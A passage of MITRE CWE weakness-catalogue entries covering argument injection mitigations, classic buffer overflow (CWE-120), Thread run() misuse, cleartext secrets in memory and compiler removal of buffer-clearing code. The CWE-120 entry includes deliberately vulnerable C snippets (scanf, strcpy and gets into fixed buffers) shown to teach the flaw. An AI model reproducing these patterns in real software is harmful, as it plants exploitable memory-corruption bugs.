Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180, CWE-181). Make sure that your application does not inadvertently decode the same input twice (CWE-174). Such errors could be used to bypass whitelist schemes by introducing dangerous inputs after they have been checked. Use libraries such as the OWASP ESAPI Canonicalization control.

Consider performing repeated canonicalization until your input does not change any more. This will avoid double-decoding and similar scenarios, but it might inadvertently modify inputs that are allowed to contain properly-encoded dangerous content.

Phase: Implementation

When exchanging data between components, ensure that both components are using the same character encoding. Ensure that the proper encoding is applied at each interface. Explicitly set the encoding you are using whenever the protocol allows you to do so.

Phase: Implementation

When your application combines data from multiple sources, perform the validation after the sources have been combined. The individual data elements may pass the validation step but violate the intended restrictions after they have been combined.

Phase: Testing

Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible.

Phase: Testing

Use dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

+ Weakness Ordinalities
OrdinalityDescription
Primary
(where the weakness exists independent of other weaknesses)
+ Relationships
NatureTypeIDNameView(s) this relationship pertains toView(s)
ChildOfWeakness ClassWeakness Class77Improper Neutralization of Special Elements used in a Command ('Command Injection')
Development Concepts (primary)699
Research Concepts (primary)1000
Weaknesses for Simplified Mapping of Published Vulnerabilities (primary)1003
ChildOfCategoryCategory634Weaknesses that Affect System Processes
Resource-specific Weaknesses (primary)631
ChildOfCategoryCategory741CERT C Secure Coding Section 07 - Characters and Strings (STR)
Weaknesses Addressed by the CERT C Secure Coding Standard (primary)734
ChildOfCategoryCategory744CERT C Secure Coding Section 10 - Environment (ENV)
Weaknesses Addressed by the CERT C Secure Coding Standard734
ChildOfCategoryCategory810OWASP Top Ten 2010 Category A1 - Injection
Weaknesses in OWASP Top Ten (2010) (primary)809
ChildOfCategoryCategory875CERT C++ Secure Coding Section 07 - Characters and Strings (STR)
Weaknesses Addressed by the CERT C++ Secure Coding Standard (primary)868
ChildOfCategoryCategory878CERT C++ Secure Coding Section 10 - Environment (ENV)
Weaknesses Addressed by the CERT C++ Secure Coding Standard868
ChildOfCategoryCategory929OWASP Top Ten 2013 Category A1 - Injection
Weaknesses in OWASP Top Ten (2013) (primary)928
ChildOfCategoryCategory990SFP Secondary Cluster: Tainted Input to Command
Software Fault Pattern (SFP) Clusters (primary)888
MemberOfViewView884CWE Cross-section
CWE Cross-section (primary)884
CanAlsoBeWeakness BaseWeakness Base78Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Research Concepts1000
+ Relationship Notes

At one layer of abstraction, this can overlap other weaknesses that have whitespace problems, e.g. injection of javascript into attributes of HTML tags.

+ Affected Resources
  • System Process
+ Causal Nature

Explicit

+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERArgument Injection or Modification
CERT C Secure CodingENV03-CSanitize the environment when invoking external programs
CERT C Secure CodingENV04-CDo not call system() if you do not need a command processor
CERT C Secure CodingSTR02-CSanitize data passed to complex subsystems
WASC30Mail Command Injection
CERT C++ Secure CodingSTR02-CPPSanitize data passed to complex subsystems
CERT C++ Secure CodingENV03-CPPSanitize the environment when invoking external programs
CERT C++ Secure CodingENV04-CPPDo not call system() if you do not need a command processor
+ References
Steven Christey. "Argument injection issues". <http://www.securityfocus.com/archive/1/archive/1/460089/100/100/threaded>.
[REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 10, "The Argument Array", Page 567.. 1st Edition. Addison Wesley. 2006.
+ Content History
Submissions
Submission DateSubmitterOrganizationSource
PLOVERExternally Mined
Modifications
Modification DateModifierOrganizationSource
2008-07-01Eric DalciCigitalExternal
updated Time_of_Introduction
2008-09-08CWE Content TeamMITREInternal
updated Relationships, Other_Notes, Taxonomy_Mappings, Weakness_Ordinalities
2008-11-24CWE Content TeamMITREInternal
updated Observed_Examples, Relationships, Taxonomy_Mappings
2009-07-27CWE Content TeamMITREInternal
updated Other_Notes, Relationship_Notes
2009-10-29CWE Content TeamMITREInternal
updated Observed_Examples
2010-02-16CWE Content TeamMITREInternal
updated Potential_Mitigations, Relationships, Taxonomy_Mappings
2010-04-05CWE Content TeamMITREInternal
updated Related_Attack_Patterns
2010-06-21CWE Content TeamMITREInternal
updated Observed_Examples, Relationships
2010-09-27CWE Content TeamMITREInternal
updated Relationships
2011-06-01CWE Content TeamMITREInternal
updated Common_Consequences
2011-09-13CWE Content TeamMITREInternal
updated Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITREInternal
updated Common_Consequences, Demonstrative_Examples, Observed_Examples, References, Related_Attack_Patterns, Relationships
2012-10-30CWE Content TeamMITREInternal
updated Potential_Mitigations
2014-06-23CWE Content TeamMITREInternal
updated Relationships
2014-07-30CWE Content TeamMITREInternal
updated Relationships
2015-12-07CWE Content TeamMITREInternal
updated Demonstrative_Examples, Relationships

CWE-120: Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')

Weakness ID: 120
Abstraction: Base
Status: Incomplete
Presentation Filter:
+ Description

Description Summary

The program copies an input buffer to an output buffer without verifying that the size of the input buffer is less than the size of the output buffer, leading to a buffer overflow.

Extended Description

A buffer overflow condition exists when a program attempts to put more data in a buffer than it can hold, or when a program attempts to put data in a memory area outside of the boundaries of a buffer. The simplest type of error, and the most common cause of buffer overflows, is the "classic" case in which the program copies the buffer without restricting how much is copied. Other variants exist, but the existence of a classic overflow strongly suggests that the programmer is not considering even the most basic of security protections.

+ Alternate Terms
buffer overrun:

Some prominent vendors and researchers use the term "buffer overrun," but most people use "buffer overflow."

Unbounded Transfer
+ Terminology Notes

Many issues that are now called "buffer overflows" are substantively different than the "classic" overflow, including entirely different bug types that rely on overflow exploit techniques, such as integer signedness errors, integer overflows, and format string bugs. This imprecise terminology can make it difficult to determine which variant is being reported.

+ Time of Introduction
  • Implementation
+ Applicable Platforms

Languages

C

C++

Assembly

+ Common Consequences
ScopeEffect
Integrity
Confidentiality
Availability

Technical Impact: Execute unauthorized code or commands

Buffer overflows often can be used to execute arbitrary code, which is usually outside the scope of a program's implicit security policy. This can often be used to subvert any other security service.

Availability

Technical Impact: DoS: crash / exit / restart; DoS: resource consumption (CPU)

Buffer overflows generally lead to crashes. Other attacks leading to lack of availability are possible, including putting the program into an infinite loop.

+ Likelihood of Exploit

High to Very High

+ Detection Methods

Automated Static Analysis

This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives.

Automated static analysis generally does not account for environmental considerations when reporting out-of-bounds memory operations. This can make it difficult for users to determine which warnings should be investigated first. For example, an analysis tool might report buffer overflows that originate from command line arguments in a program that is not expected to run with setuid or other special privileges.

Effectiveness: High

Detection techniques for buffer-related errors are more mature than for most other weakness types.

Automated Dynamic Analysis

This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Manual Analysis

Manual analysis can be useful for finding this weakness, but it might not achieve desired code coverage within limited time constraints. This becomes difficult for weaknesses that must be considered for all inputs, since the attack surface can be too large.

Automated Static Analysis - Binary / Bytecode

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

  • Bytecode Weakness Analysis - including disassembler + source code weakness analysis

  • Binary Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness: SOAR High

Manual Static Analysis - Binary / Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

  • Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness: SOAR Partial

Dynamic Analysis with automated results interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

  • Web Application Scanner

  • Web Services Scanner

  • Database Scanners

Effectiveness: SOAR Partial

Dynamic Analysis with manual results interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

  • Fuzz Tester

  • Framework-based Fuzzer

Effectiveness: SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

  • Focused Manual Spotcheck - Focused manual analysis of source

  • Manual Source Code Review (not inspections)

Effectiveness: SOAR Partial

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

  • Source code Weakness Analyzer

  • Context-configured Source Code Weakness Analyzer

Effectiveness: SOAR High

Architecture / Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

  • Formal Methods / Correct-By-Construction

Cost effective for partial coverage:

  • Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness: SOAR High

+ Demonstrative Examples

Example 1

The following code asks the user to enter their last name and then attempts to store the value entered in the last_name array.

(Bad Code)
Example Language:
char last_name[20];
printf ("Enter your last name: ");
scanf ("%s", last_name);

The problem with the code above is that it does not restrict or limit the size of the name entered by the user. If the user enters "Very_very_long_last_name" which is 24 characters long, then a buffer overflow will occur since the array can only hold 20 characters total.

Example 2

The following code attempts to create a local copy of a buffer to perform some manipulations to the data.

(Bad Code)
Example Language:
void manipulate_string(char* string){
char buf[24];
strcpy(buf, string);
...
}

However, the programmer does not ensure that the size of the data pointed to by string will fit in the local buffer and blindly copies the data with the potentially dangerous strcpy() function. This may result in a buffer overflow condition if an attacker can influence the contents of the string parameter.

Example 3

The excerpt below calls the gets() function in C, which is inherently unsafe.

(Bad Code)
Example Language:
char buf[24];
printf("Please enter your name and press <Enter>\n");
gets(buf);
...
}

However, the programmer uses the function gets() which is inherently unsafe because it blindly copies all input from STDIN to the buffer without restricting how much is copied. This allows the user to provide a string that is larger than the buffer size, resulting in an overflow condition.

Example 4

In the following example, a server accepts connections from a client and processes the client request. After accepting a client connection, the program will obtain client information using the gethostbyaddr method, copy the hostname of the client that connected to a local variable and output the hostname of the client to a log file.

(Bad Code)
Example Languages: C and C++ 
...
struct hostent *clienthp;
char hostname[MAX_LEN];

// create server socket, bind to server address and listen on socket
...

// accept client connections and process requests
int count = 0;
for (count = 0; count < MAX_CONNECTIONS; count++) {

int clientlen = sizeof(struct sockaddr_in);
int clientsocket = accept(serversocket, (struct sockaddr *)&clientaddr, &clientlen);

if (clientsocket >= 0) {
clienthp = gethostbyaddr((char*) &clientaddr.sin_addr.s_addr, sizeof(clientaddr.sin_addr.s_addr), AF_INET);
strcpy(hostname, clienthp->h_name);
logOutput("Accepted client connection from host ", hostname);

// process client request
...
close(clientsocket);
}
}
close(serversocket);
...

However, the hostname of the client that connected may be longer than the allocated size for the local hostname variable. This will result in a buffer overflow when copying the client hostname to the local variable using the strcpy method.

+ Observed Examples
ReferenceDescription
buffer overflow using command with long argument
buffer overflow in local program using long environment variable
buffer overflow in comment characters, when product increments a counter for a ">" but does not decrement for "<"
By replacing a valid cookie value with an extremely long string of characters, an attacker may overflow the application's buffers.
By replacing a valid cookie value with an extremely long string of characters, an attacker may overflow the application's buffers.
+ Potential Mitigations

Phase: Requirements

Strategy: Language Selection

Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

For example, many languages that perform their own memory management, such as Java and Perl, are not subject to buffer overflows. Other languages, such as Ada and C#, typically provide overflow protection, but the protection can be disabled by the programmer.

Be wary that a language's interface to native code may still be subject to overflows, even if the language itself is theoretically safe.

Phase: Architecture and Design

Strategy: Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

Examples include the Safe C String Library (SafeStr) by Messier and Viega [R.120.4], and the Strsafe.h library from Microsoft [R.120.3]. These libraries provide safer versions of overflow-prone string-handling functions.

This is not a complete solution, since many buffer overflows are not related to strings.

Phase: Build and Compilation

Strategy: Compilation or Build Hardening

Run or compile the software using features or extensions that automatically provide a protection mechanism that mitigates or eliminates buffer overflows.

For example, certain compilers and extensions provide automatic buffer overflow detection mechanisms that are built into the compiled code. Examples include the Microsoft Visual Studio /GS flag, Fedora/Red Hat FORTIFY_SOURCE GCC flag, StackGuard, and ProPolice.

Effectiveness: Defense in Depth

This is not necessarily a complete solution, since these mechanisms can only detect certain types of overflows. In addition, an attack could still cause a denial of service, since the typical response is to exit the application.

Phase: Implementation

Consider adhering to the following rules when allocating and managing an application's memory:

  • Double check that your buffer is as large as you specify.

  • When using functions that accept a number of bytes to copy, such as strncpy(), be aware that if the destination buffer size is equal to the source buffer size, it may not NULL-terminate the string.

  • Check buffer boundaries if accessing the buffer in a loop and make sure you are not in danger of writing past the allocated space.

  • If necessary, truncate all input strings to a reasonable length before passing them to the copy and concatenation functions.

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Phase: Operation

Strategy: Environment Hardening

Run or compile the software using features or extensions that randomly arrange the positions of a program's executable and libraries in memory. Because this makes the addresses unpredictable, it can prevent an attacker from reliably jumping to exploitable code.

Examples include Address Space Layout Randomization (ASLR) [R.120.5] [R.120.7] and Position-Independent Executables (PIE) [R.120.14].

Effectiveness: Defense in Depth

This is not a complete solution. However, it forces the attacker to guess an unknown value that changes every program execution. In addition, an attack could still cause a denial of service, since the typical response is to exit the application.

Phase: Operation

Strategy: Environment Hardening

Use a CPU and operating system that offers Data Execution Protection (NX) or its equivalent [R.120.7] [R.120.9].

Effectiveness: Defense in Depth

This is not a complete solution, since buffer overflows could be used to overwrite nearby variables to modify the software's state in dangerous ways. In addition, it cannot be used in cases in which self-modifying code is required. Finally, an attack could still cause a denial of service, since the typical response is to exit the application.

Phases: Build and Compilation; Operation

Most mitigating technologies at the compiler or OS level to date address only a subset of buffer overflow problems and rarely provide complete protection against even that subset. It is good practice to implement strategies to increase the workload of an attacker, such as leaving the attacker to guess an unknown value that changes every program execution.

Phase: Implementation

Replace unbounded copy functions with analogous functions that support length arguments, such as strcpy with strncpy. Create these if they are not available.

Effectiveness: Moderate

This approach is still susceptible to calculation errors, including issues such as off-by-one errors (CWE-193) and incorrectly calculating buffer lengths (CWE-131).

Phase: Architecture and Design

Strategy: Enforcement by Conversion

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.

Phases: Architecture and Design; Operation

Strategy: Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [R.120.10]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Phases: Architecture and Design; Operation

Strategy: Sandbox or Jail

Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.

OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.

This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.

Be careful to avoid CWE-243 and other weaknesses related to jails.

Effectiveness: Limited

The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.

+ Weakness Ordinalities
OrdinalityDescription
Resultant
(where the weakness is typically related to the presence of some other weaknesses)
Primary
(where the weakness exists independent of other weaknesses)
+ Relationships
NatureTypeIDNameView(s) this relationship pertains toView(s)
ChildOfWeakness ClassWeakness Class20Improper Input Validation
Seven Pernicious Kingdoms (primary)700
ChildOfWeakness ClassWeakness Class119Improper Restriction of Operations within the Bounds of a Memory Buffer
Development Concepts (primary)699
Research Concepts (primary)1000
ChildOfCategoryCategory633Weaknesses that Affect Memory
Resource-specific Weaknesses (primary)631
ChildOfCategoryCategory722OWASP Top Ten 2004 Category A1 - Unvalidated Input
Weaknesses in OWASP Top Ten (2004)711
ChildOfCategoryCategory726OWASP Top Ten 2004 Category A5 - Buffer Overflows
Weaknesses in OWASP Top Ten (2004) (primary)711
ChildOfCategoryCategory741CERT C Secure Coding Section 07 - Characters and Strings (STR)
Weaknesses Addressed by the CERT C Secure Coding Standard (primary)734
ChildOfCategoryCategory8022010 Top 25 - Risky Resource Management
Weaknesses in the 2010 CWE/SANS Top 25 Most Dangerous Programming Errors (primary)800
ChildOfCategoryCategory8652011 Top 25 - Risky Resource Management
Weaknesses in the 2011 CWE/SANS Top 25 Most Dangerous Software Errors (primary)900
ChildOfCategoryCategory875CERT C++ Secure Coding Section 07 - Characters and Strings (STR)
Weaknesses Addressed by the CERT C++ Secure Coding Standard (primary)868
ChildOfCategoryCategory970SFP Secondary Cluster: Faulty Buffer Access
Software Fault Pattern (SFP) Clusters (primary)888
CanPrecedeWeakness BaseWeakness Base123Write-what-where Condition
Research Concepts1000
ParentOfWeakness VariantWeakness Variant785Use of Path Manipulation Function without Maximum-sized Buffer
Development Concepts (primary)699
Research Concepts1000
MemberOfViewView884CWE Cross-section
CWE Cross-section (primary)884
CanFollowWeakness BaseWeakness Base170Improper Null Termination
Research Concepts1000
CanFollowWeakness VariantWeakness Variant231Improper Handling of Extra Values
Research Concepts1000
CanFollowWeakness BaseWeakness Base242Use of Inherently Dangerous Function
Research Concepts1000
CanFollowWeakness BaseWeakness Base416Use After Free
Research Concepts1000
CanFollowWeakness BaseWeakness Base456Missing Initialization of a Variable
Research Concepts1000
CanAlsoBeWeakness VariantWeakness Variant196Unsigned to Signed Conversion Error
Research Concepts1000
+ Relationship Notes

At the code level, stack-based and heap-based overflows do not differ significantly, so there usually is not a need to distinguish them. From the attacker perspective, they can be quite different, since different techniques are required to exploit them.

+ Affected Resources
  • Memory
+ Functional Areas
  • Memory Management
+ Causal Nature

Explicit

+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERUnbounded Transfer ('classic overflow')
7 Pernicious KingdomsBuffer Overflow
CLASPBuffer overflow
OWASP Top Ten 2004A1CWE More SpecificUnvalidated Input
OWASP Top Ten 2004A5CWE More SpecificBuffer Overflows
CERT C Secure CodingSTR35-CDo not copy data from an unbounded source to a fixed-length array
WASC7Buffer Overflow
CERT C++ Secure CodingSTR35-CPPDo not copy data from an unbounded source to a fixed-length array
Software Fault PatternsSFP8Faulty Buffer Access
+ White Box Definitions

A weakness where the code path includes a Buffer Write Operation such that:

1. the expected size of the buffer is greater than the actual size of the buffer where expected size is equal to the sum of the size of the data item and the position in the buffer

Where Buffer Write Operation is a statement that writes a data item of a certain size into a buffer at a certain position and at a certain index

+ References
[R.120.1] [REF-11] M. Howard and D. LeBlanc. "Writing Secure Code". Chapter 5, "Public Enemy #1: The Buffer Overrun" Page 127. 2nd Edition. Microsoft. 2002.
[R.120.2] [REF-17] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 5: Buffer Overruns." Page 89. McGraw-Hill. 2010.
[R.120.3] [REF-27] Microsoft. "Using the Strsafe.h Functions". <http://msdn.microsoft.com/en-us/library/ms647466.aspx>.
[R.120.4] [REF-26] Matt Messier and John Viega. "Safe C String Library v1.0.3". <http://www.zork.org/safestr/>.
[R.120.5] [REF-22] Michael Howard. "Address Space Layout Randomization in Windows Vista". <http://blogs.msdn.com/michael_howard/archive/2006/05/26/address-space-layout-randomization-in-windows-vista.aspx>.
[R.120.6] Arjan van de Ven. "Limiting buffer overflows with ExecShield". <http://www.redhat.com/magazine/009jul05/features/execshield/>.
[R.120.7] [REF-29] "PaX". <http://en.wikipedia.org/wiki/PaX>.
[R.120.8] Jason Lam. "Top 25 Series - Rank 3 - Classic Buffer Overflow". SANS Software Security Institute. 2010-03-02. <http://software-security.sans.org/blog/2010/03/02/top-25-series-rank-3-classic-buffer-overflow/>.
[R.120.9] [REF-25] Microsoft. "Understanding DEP as a mitigation technology part 1". <http://blogs.technet.com/b/srd/archive/2009/06/12/understanding-dep-as-a-mitigation-technology-part-1.aspx>.
[R.120.10] [REF-31] Sean Barnum and Michael Gegick. "Least Privilege". 2005-09-14. <https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/351.html>.
[R.120.11] [REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 3, "Nonexecutable Stack", Page 76.. 1st Edition. Addison Wesley. 2006.
[R.120.12] [REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 5, "Protection Mechanisms", Page 189.. 1st Edition. Addison Wesley. 2006.
[R.120.13] [REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 8, "C String Handling", Page 388.. 1st Edition. Addison Wesley. 2006.
[R.120.14] [REF-37] Grant Murphy. "Position Independent Executables (PIE)". Red Hat. 2012-11-28. <https://securityblog.redhat.com/2012/11/28/position-independent-executables-pie/>.
+ Content History
Submissions
Submission DateSubmitterOrganizationSource
PLOVERExternally Mined
Modifications
Modification DateModifierOrganizationSource
2008-07-01Eric DalciCigitalExternal
updated Time_of_Introduction
2008-08-01KDM AnalyticsExternal
added/updated white box definitions
2008-08-15VeracodeExternal
Suggested OWASP Top Ten 2004 mapping
2008-09-08CWE Content TeamMITREInternal
updated Alternate_Terms, Applicable_Platforms, Common_Consequences, Relationships, Observed_Example, Other_Notes, Taxonomy_Mappings, Weakness_Ordinalities
2008-10-10CWE Content TeamMITREInternal
Changed name and description to more clearly emphasize the "classic" nature of the overflow.
2008-10-14CWE Content TeamMITREInternal
updated Alternate_Terms, Description, Name, Other_Notes, Terminology_Notes
2008-11-24CWE Content TeamMITREInternal
updated Other_Notes, Relationships, Taxonomy_Mappings
2009-01-12CWE Content TeamMITREInternal
updated Common_Consequences, Other_Notes, Potential_Mitigations, References, Relationship_Notes, Relationships
2009-07-27CWE Content TeamMITREInternal
updated Other_Notes, Potential_Mitigations, Relationships
2009-10-29CWE Content TeamMITREInternal
updated Common_Consequences, Relationships
2010-02-16CWE Content TeamMITREInternal
updated Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Detection_Factors, Potential_Mitigations, References, Related_Attack_Patterns, Relationships, Taxonomy_Mappings, Time_of_Introduction, Type
2010-04-05CWE Content TeamMITREInternal
updated Demonstrative_Examples, Related_Attack_Patterns
2010-06-21CWE Content TeamMITREInternal
updated Common_Consequences, Potential_Mitigations, References
2010-09-27CWE Content TeamMITREInternal
updated Potential_Mitigations
2010-12-13CWE Content TeamMITREInternal
updated Potential_Mitigations
2011-03-29CWE Content TeamMITREInternal
updated Demonstrative_Examples, Description
2011-06-01CWE Content TeamMITREInternal
updated Common_Consequences
2011-06-27CWE Content TeamMITREInternal
updated Relationships
2011-09-13CWE Content TeamMITREInternal
updated Potential_Mitigations, References, Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITREInternal
updated References, Relationships
2012-10-30CWE Content TeamMITREInternal
updated Potential_Mitigations
2014-02-18CWE Content TeamMITREInternal
updated Potential_Mitigations, References
2014-07-30CWE Content TeamMITREInternal
updated Detection_Factors, Relationships, Taxonomy_Mappings
Previous Entry Names
Change DatePrevious Entry Name
2008-10-14Unbounded Transfer ('Classic Buffer Overflow')

CWE-572: Call to Thread run() instead of start()

Weakness ID: 572
Abstraction: Variant
Status: Draft
Presentation Filter:
+ Description

Description Summary

The program calls a thread's run() method instead of calling start(), which causes the code to run in the thread of the caller instead of the callee.

Extended Description

In most cases a direct call to a Thread object's run() method is a bug. The programmer intended to begin a new thread of control, but accidentally called run() instead of start(), so the run() method will execute in the caller's thread of control.

+ Time of Introduction
  • Implementation
+ Applicable Platforms

Languages

Java

+ Common Consequences
ScopeEffect
Other

Technical Impact: Quality degradation; Varies by context

+ Demonstrative Examples

Example 1

The following excerpt from a Java program mistakenly calls run() instead of start().

(Bad Code)
Example Language: Java 
Thread thr = new Thread() {
public void run() {
...
}
};

thr.run();
+ Potential Mitigations

Phase: Implementation

Use the start() method instead of the run() method.

+ Relationships
NatureTypeIDNameView(s) this relationship pertains toView(s)
ChildOfCategoryCategory557Concurrency Issues
Development Concepts699
ChildOfCategoryCategory634Weaknesses that Affect System Processes
Resource-specific Weaknesses (primary)631
ChildOfWeakness BaseWeakness Base821Incorrect Synchronization
Development Concepts (primary)699
Research Concepts (primary)1000
ChildOfCategoryCategory854CERT Java Secure Coding Section 09 - Thread APIs (THI)
Weaknesses Addressed by the CERT Java Secure Coding Standard (primary)844
ChildOfCategoryCategory1001SFP Secondary Cluster: Use of an Improper API
Software Fault Pattern (SFP) Clusters (primary)888
+ Affected Resources
  • System Process
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
CERT Java Secure CodingTHI00-JDo not invoke Thread.run()
Software Fault PatternsSFP3Use of an improper API
+ Content History
Modifications
Modification DateModifierOrganizationSource
2008-07-01Eric DalciCigitalExternal
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITREInternal
updated Relationships, Other_Notes
2009-05-27CWE Content TeamMITREInternal
updated Demonstrative_Examples
2009-07-27CWE Content TeamMITREInternal
updated Description, Other_Notes
2010-09-27CWE Content TeamMITREInternal
updated Relationships
2011-06-01CWE Content TeamMITREInternal
updated Common_Consequences, Relationships, Taxonomy_Mappings
2011-06-27CWE Content TeamMITREInternal
updated Common_Consequences
2012-05-11CWE Content TeamMITREInternal
updated Relationships, Taxonomy_Mappings
2012-10-30CWE Content TeamMITREInternal
updated Potential_Mitigations
2014-07-30CWE Content TeamMITREInternal
updated Relationships, Taxonomy_Mappings
Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Call to Thread.run()

CWE-316: Cleartext Storage of Sensitive Information in Memory

Weakness ID: 316
Abstraction: Variant
Status: Draft
Presentation Filter:
+ Description

Description Summary

The application stores sensitive information in cleartext in memory.

Extended Description

The sensitive memory might be saved to disk, stored in a core dump, or remain uncleared if the application crashes, or if the programmer does not properly clear the memory before freeing it.

It could be argued that such problems are usually only exploitable by those with administrator privileges. However, swapping could cause the memory to be written to disk and leave it accessible to physical attack afterwards. Core dump files might have insecure permissions or be stored in archive files that are accessible to untrusted people. Or, uncleared sensitive memory might be inadvertently exposed to attackers due to another weakness.

+ Terminology Notes

Different people use "cleartext" and "plaintext" to mean the same thing: the lack of encryption. However, within cryptography, these have more precise meanings. Plaintext is the information just before it is fed into a cryptographic algorithm, including already-encrypted text. Cleartext is any information that is unencrypted, although it might be in an encoded form that is not easily human-readable (such as base64 encoding).

+ Time of Introduction
  • Architecture and Design
+ Applicable Platforms

Languages

Language-independent

+ Common Consequences
ScopeEffect
Confidentiality

Technical Impact: Read memory

+ Observed Examples
ReferenceDescription
Sensitive authentication information in cleartext in memory.
Sensitive authentication information in cleartext in memory.
Password protector leaves passwords in memory when window is minimized, even when "clear password when minimized" is set.
SSH client does not clear credentials from memory.
+ Relationships
NatureTypeIDNameView(s) this relationship pertains toView(s)
ChildOfWeakness BaseWeakness Base312Cleartext Storage of Sensitive Information
Development Concepts (primary)699
Research Concepts (primary)1000
ChildOfCategoryCategory633Weaknesses that Affect Memory
Resource-specific Weaknesses (primary)631
ChildOfCategoryCategory963SFP Secondary Cluster: Exposed Data
Software Fault Pattern (SFP) Clusters (primary)888
+ Relationship Notes

This could be a resultant weakness, e.g. if the compiler removes code that was intended to wipe memory.

+ Affected Resources
  • Memory
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERPlaintext Storage in Memory
Software Fault PatternsSFP23Exposed Data
+ Content History
Submissions
Submission DateSubmitterOrganizationSource
PLOVERExternally Mined
Modifications
Modification DateModifierOrganizationSource
2008-07-01Eric DalciCigitalExternal
updated Time_of_Introduction
2008-09-08CWE Content TeamMITREInternal
updated Description, Relationships, Other_Notes, Relationship_Notes, Taxonomy_Mappings
2011-06-01CWE Content TeamMITREInternal
updated Common_Consequences
2012-05-11CWE Content TeamMITREInternal
updated Relationships
2013-07-17CWE Content TeamMITREInternal
updated Applicable_Platforms, Description, Name, Other_Notes, Potential_Mitigations, Terminology_Notes
2014-07-30CWE Content TeamMITREInternal
updated Relationships, Taxonomy_Mappings
Previous Entry Names
Change DatePrevious Entry Name
2013-07-17Plaintext Storage in Memory

CWE-14: Compiler Removal of Code to Clear Buffers

Weakness ID: 14
Abstraction: Base
Status: Draft
Presentation Filter:
+ Description

Description Summary

Sensitive memory is cleared according to the source code, but compiler optimizations leave the memory untouched when it is not read from again, aka "dead store removal."

Extended Description

This compiler optimization error occurs when:

1. Secret data are stored in memory.

2. The secret data are scrubbed from memory by overwriting its contents.

3. The source code is compiled using an optimizing compiler, which identifies and removes the function that overwrites the contents as a dead store because the memory is not used subsequently.

+ Time of Introduction
  • Implementation
  • Build and Compilation
+ Applicable Platforms

Languages

C

C++

+ Common Consequences
ScopeEffect
Confidentiality
Access Control

Technical Impact: Read memory; Bypass protection mechanism

This weakness will allow data that has not been cleared from memory to be read. If this data contains sensitive password information, then an attacker can read the password and use the information to bypass protection mechanisms.

+ Detection Methods

Black Box
